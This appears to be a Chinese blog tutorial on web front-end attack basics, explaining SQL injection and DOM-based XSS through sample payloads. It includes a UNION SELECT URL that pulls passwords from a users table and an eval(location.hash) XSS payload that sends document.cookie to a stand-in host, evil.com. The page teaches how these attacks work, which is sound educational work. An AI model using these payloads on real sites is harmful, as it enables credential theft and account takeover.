热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

web前端黑客技术之数据与指令【sql注入、xss跨站脚本攻击】

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地Cookies,flashCookies等),传输中的(json数据,和xml数据等,)还有文本数据等等。而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地COOKIEs,flash COOKIEs等),传输中的(json数据,和xml数据等,)还有文本数据等等。

而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安全风险。


而存储,传输并呈现这些数据的时候,需要执行指令,指令简单的说就是要执行的命令行。而不同的指令的解释执行则由对应的环境完成,如:

select username,email,descl from users where id=1

这条mySql指令在数据库引擎环境中被解释,然后产生查询对于的数据。


当正常的数据内容被注入指令内容,在解释的过程中,如果注入指令能够被独立执行,那么攻击就发生了 

【1】SQL注入攻击的发生

select username,email,desc1 from users where id=1;
正如我们所看到的,这条sql语句中id的值是来自用户提交,并且用户通过访问链接来获取自身的帐号信息。当用户访问这样的连接时,后端便触发执行上面的查询语句,并返回对应的id号的用户数据给前端显示。一般情况下,铍铜的用户对id提交整形数值,而邪恶的攻击者会提交如下列形式的值

1 union select password,1,1 from users
组成的链接形式:

http://www.foo.com/user.php?id=1 union select password,1,1 from users

组成的SQL语句为:

select username,email,desc1 from users whrere id=1 union select password,1,1 from users

XSS跨站脚本攻击的发生


这里eval内置函数可以动态执行js语句,而location.hash()获取的是链接及URL中#及其后面的内容,如 ````.foo.com/info.html#callback。获取的十九#callback,而substr是用于截取字符,也就是#好后面内容。

而在这里,我们可以构建一个这样的攻击:

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea.1.php?c="+escape(document.COOKIE)

而在浏览器解析
eval(location.hash.substr(1));
则会变为

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.COOKIE)')

而当被攻击者被诱骗访问了该连接时,COOKIEs会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该COOKIEs可以登录被攻击者的帐号,并进行越权操作。



【补充】

跨站攻击是发生在浏览器客户端,而SQL注入由于针对的对象是数据库,一般情况下,数据库都在服务端,而HTML5提供了一个i额客户端存储几只,在浏览器段,使用SQLite数据库保存客户端数据,该几只允许使用js脚本操作SQL语句,从而本地化数据库进行交互 




推荐阅读
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 本文详细分析了JSP(JavaServer Pages)技术的主要优点和缺点,帮助开发者更好地理解其适用场景及潜在挑战。JSP作为一种服务器端技术,广泛应用于Web开发中。 ... [详细]
  • 本文深入探讨 MyBatis 中动态 SQL 的使用方法,包括 if/where、trim 自定义字符串截取规则、choose 分支选择、封装查询和修改条件的 where/set 标签、批量处理的 foreach 标签以及内置参数和 bind 的用法。 ... [详细]
  • 本文详细介绍了如何通过多种编程语言(如PHP、JSP)实现网站与MySQL数据库的连接,包括创建数据库、表的基本操作,以及数据的读取和写入方法。 ... [详细]
  • MySQL 数据库迁移指南:从本地到远程及磁盘间迁移
    本文详细介绍了如何在不同场景下进行 MySQL 数据库的迁移,包括从一个硬盘迁移到另一个硬盘、从一台计算机迁移到另一台计算机,以及解决迁移过程中可能遇到的问题。 ... [详细]
  • Hadoop入门与核心组件详解
    本文详细介绍了Hadoop的基础知识及其核心组件,包括HDFS、MapReduce和YARN。通过本文,读者可以全面了解Hadoop的生态系统及应用场景。 ... [详细]
  • 根据最新发布的《互联网人才趋势报告》,尽管大量IT从业者已转向Python开发,但随着人工智能和大数据领域的迅猛发展,仍存在巨大的人才缺口。本文将详细介绍如何使用Python编写一个简单的爬虫程序,并提供完整的代码示例。 ... [详细]
  • 基于KVM的SRIOV直通配置及性能测试
    SRIOV介绍、VF直通配置,以及包转发率性能测试小慢哥的原创文章,欢迎转载目录?1.SRIOV介绍?2.环境说明?3.开启SRIOV?4.生成VF?5.VF ... [详细]
  • 本文探讨了在通过 API 端点调用时,使用猫鼬(Mongoose)的 findOne 方法总是返回 null 的问题,并提供了详细的解决方案和建议。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 在计算机技术的学习道路上,51CTO学院以其专业性和专注度给我留下了深刻印象。从2012年接触计算机到2014年开始系统学习网络技术和安全领域,51CTO学院始终是我信赖的学习平台。 ... [详细]
  • 本文总结了汇编语言中第五至第八章的关键知识点,涵盖间接寻址、指令格式、安全编程空间、逻辑运算指令及数据重复定义等内容。通过详细解析这些内容,帮助读者更好地理解和应用汇编语言的高级特性。 ... [详细]
  • 使用 Azure Service Principal 和 Microsoft Graph API 获取 AAD 用户列表
    本文介绍了一段通用代码示例,该代码不仅能够操作 Azure Active Directory (AAD),还可以通过 Azure Service Principal 的授权访问和管理 Azure 订阅资源。Azure 的架构可以分为两个层级:AAD 和 Subscription。 ... [详细]
  • 本文探讨了 RESTful API 和传统接口之间的关键差异,解释了为什么 RESTful API 在设计和实现上具有独特的优势。 ... [详细]
author-avatar
gigi-dd
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有